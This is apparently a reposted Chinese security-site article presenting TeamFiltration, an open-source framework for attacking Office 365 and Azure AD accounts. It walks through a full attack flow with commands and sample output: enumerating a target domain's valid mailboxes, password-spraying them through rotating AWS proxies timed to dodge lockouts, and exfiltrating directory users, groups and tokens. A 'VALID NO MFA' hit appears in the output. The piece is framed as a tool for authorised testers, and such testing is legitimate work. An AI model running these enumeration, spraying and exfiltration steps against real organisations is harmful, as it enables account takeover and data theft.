TeamFiltration:一款针对O365 AAD账号安全的测试框架
2022-11-24 19:6:9 Author: FreeBuf(查看原文) 阅读量:11 收藏

 关于TeamFiltration 

TeamFiltration是一款针对O365 AAD账号安全的跨平台安全测试框架,在该工具的帮助下,广大研究人员可以轻松对O365 AAD账号进行枚举、喷射、过滤和后门植入等操作。TeamFiltering与CrackMapExec非常相似,它可以创建并维护一个磁盘数据库,其中包含的各种信息可以帮助研究人员跟踪过去和正在进行的操作。该数据库使用LiteDB构建,可以使用其开源LiteDB Studio Windows工具在磁盘上手动浏览。

这个数据库中保存的信息包括有效的用户帐户、以前尝试的用户名和密码组合、有效的用户名和口令组合以及检索到的访问令牌等信息。

 工具运行机制 

 工具下载 

广大研究人员可以访问该项目的【Releases页面】直接下载Linux、Windows和macOS操作系统的预编译TeamFiltration版本。

下载完成并解压文件后,将会得到一个单独的可执行应用程序,直接运行即可。

 工具使用 

创建你的JSON配置文件

先下载fireprox项目:

git clone https://github.com/ustayready/fireprox
cd fireprox

然后将create_frieprox_instances.sh文件添加到该文件夹中。

填写你的AWS访问密钥并运行脚本后,Bash脚本将针对我们的配置信息输出JSON FrieProx配置信息。下面给出的是一个示例TeamFiltration配置文件:

{
"pushoverAppKey": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"pushoverUserKey": "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
"msolFireProxEndpointsUs": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/common/oauth2/token","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/common/oauth2/token"],
"msolFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/common/oauth2/token","https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/common/oauth2/token"],
"teamsEnumFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox/","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox/"],
"aadSSoFireProxEndpoints": ["https://XXXXAAAA.execute-api.us-east-1.amazonaws.com/fireprox","https://XXXXAAAA.execute-api.us-west-1.amazonaws.com/fireprox"],
"sacrificialO365Username": "[email protected]",
"sacrificialO365Passwords": "TheChooenOne123!",
"dehashedApiKey": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"dehashedEmail" : "[email protected]",
"proxyEndpoint": "http://127.0.0.1:8080"
}

(向右滑动,查看更多)

典型攻击流

下列命令可以开始账号枚举,--domain为目标客户端域名:

TeamFiltration.exe --outpath C:\Clients\2021\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net

(向右滑动,查看更多

TeamFiltration将要求你选择枚举的电子邮箱语句:

[♥] TeamFiltration V0.3.2.6, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net
[+] No usernames list provided, pulling statistically-likely-usernames
[?] Provide a target domain/tenant (e.g legitcorp.net) #> legitcorp.net
|=> [1] [email protected]
|=> [2] [email protected]
|=> [3] [email protected]
|=> [4] [email protected]
|=> [5] [email protected]
|=> [6] [email protected]
|=> [7] [email protected]
|=> [8] [email protected]
|=> [9] [email protected]

[?] Select an email format #> 1

(向右滑动,查看更多

如果你想要提供自己的电子邮件列表,可以使用--username参数,输出结果会自动存储在TeamFiltration.db文件中:

[ENUM] 24.05.2021 12:31:05 EST Filtering out previusly attempted accounts
[ENUM] 24.05.2021 12:31:06 EST Enumerating 248231 possible accounts, this will take ~14 minutes
[ENUM] 24.05.2021 12:31:07 EST Successfully got Teams token for sacrificial account
[ENUM] 24.05.2021 12:31:07 EST Loaded 248231 usernames
[ENUM] 24.05.2021 12:31:08 EST [email protected] valid!
[ENUM] 24.05.2021 12:31:09 EST [email protected] valid!
[ENUM] 24.05.2021 12:31:13 EST [email protected] valid!
[ENUM] 24.05.2021 12:31:13 EST [email protected] valid!
[ENUM] 24.05.2021 12:31:17 EST [email protected] valid!
(向右滑动,查看更多
接下来,我们就可以使用下列命令来进行有效邮箱地址喷射了:
TeamFiltration.exe --outpath C:\Clients\2021\Example\TFOutput --config myConfig.json --spray --sleep-min 120 --sleep-max 200

(向右滑动,查看更多

如果没有提供密码列表,则TeamFiltration会自动生成一份密码列表:

[] TeamFiltration V0.3.2.6, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --spray --sleep-min 120 --sleep-max 200
[SPRAY] 24.05.2021 12:33:54 EST Sleeping between 60-100 minutes for each round
[SPRAY] us-west-1 24.05.2021 12:33:55 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:55 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:57 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:57 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:58 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:58 EST Sprayed [email protected]:Spring2021! => VALID NO MFA!
[SPRAY] us-west-1 24.05.2021 12:33:59 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:59 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:34:00 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:34:01 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] us-west-1 24.05.2021 12:34:01 EST Sprayed [email protected]:Spring2021! => INVALID
[SPRAY] 24.05.2021 12:34:01 EST Sleeping 78 before next spray

(向右滑动,查看更多

获取到有效凭证列表之后,我们就可以进行数据过滤了:

TeamFiltration.exe --outpath C:\Clients\2021\Example\TFOutput --config myConfig.json --exfil --aad
(向右滑动,查看更多

进过数据过滤和提取之后,所有的用户信息都会添加到数据库文件中:

[♥] TeamFiltration V0.3.2.6, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --exfil --aad
[+] You can select multiple users using syntax 1,2,3 or 1-3
|-> 0 - [email protected]
|-> ALL - Everyone!

[?] What user to target ? #> 0
[EXFIL] 24.05.2021 12:35:43 EST Attempting to exfiltrate using provided token
[EXFIL] 24.05.2021 12:35:44 EST Refreshed a token for => https://outlook.office365.com
[EXFIL] 24.05.2021 12:35:45 EST Refreshed a token for => https://api.spaces.skype.com
[EXFIL] 24.05.2021 12:35:45 EST Cross-resource-refresh allowed, we can exfil all that things!
[EXFIL] 24.05.2021 12:35:53 EST Refreshed a token for => https://graph.windows.net
[EXFIL] 24.05.2021 12:35:54 EST Refreshed a token for => https://graph.microsoft.com
[EXFIL] 24.05.2021 12:35:54 EST Exfiltrating AAD users and groups via MS AD Graph API
[EXFIL] 24.05.2021 12:35:58 EST Exfiltrating AAD users and groups via MS graph API
[EXFIL] 24.05.2021 12:35:59 EST Got 133 AAD users, appending to database as valid users!

(向右滑动,查看更多

 许可证协议 

本项目的开发与发布遵循GPL-3.0开源许可证协议。

 项目地址 

TeamFiltrationhttps://github.com/Flangvik/TeamFiltration

参考资料:

https://www.litedb.org/

https://github.com/mbdavid/LiteDB.Studio

https://github.com/Flangvik/TeamFiltration/blob/main/create_fireprox_instances.sh

精彩推荐


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651204922&idx=4&sn=9a0ac8c099aace3fe2cc695d4e77f53d&chksm=bd1dbfb18a6a36a73eb5d379a6bfda371370e3ea4cf0238581852ad4b4c638e71ba0e2b2d9ae#rd
如有侵权请联系:admin#unsafe.sh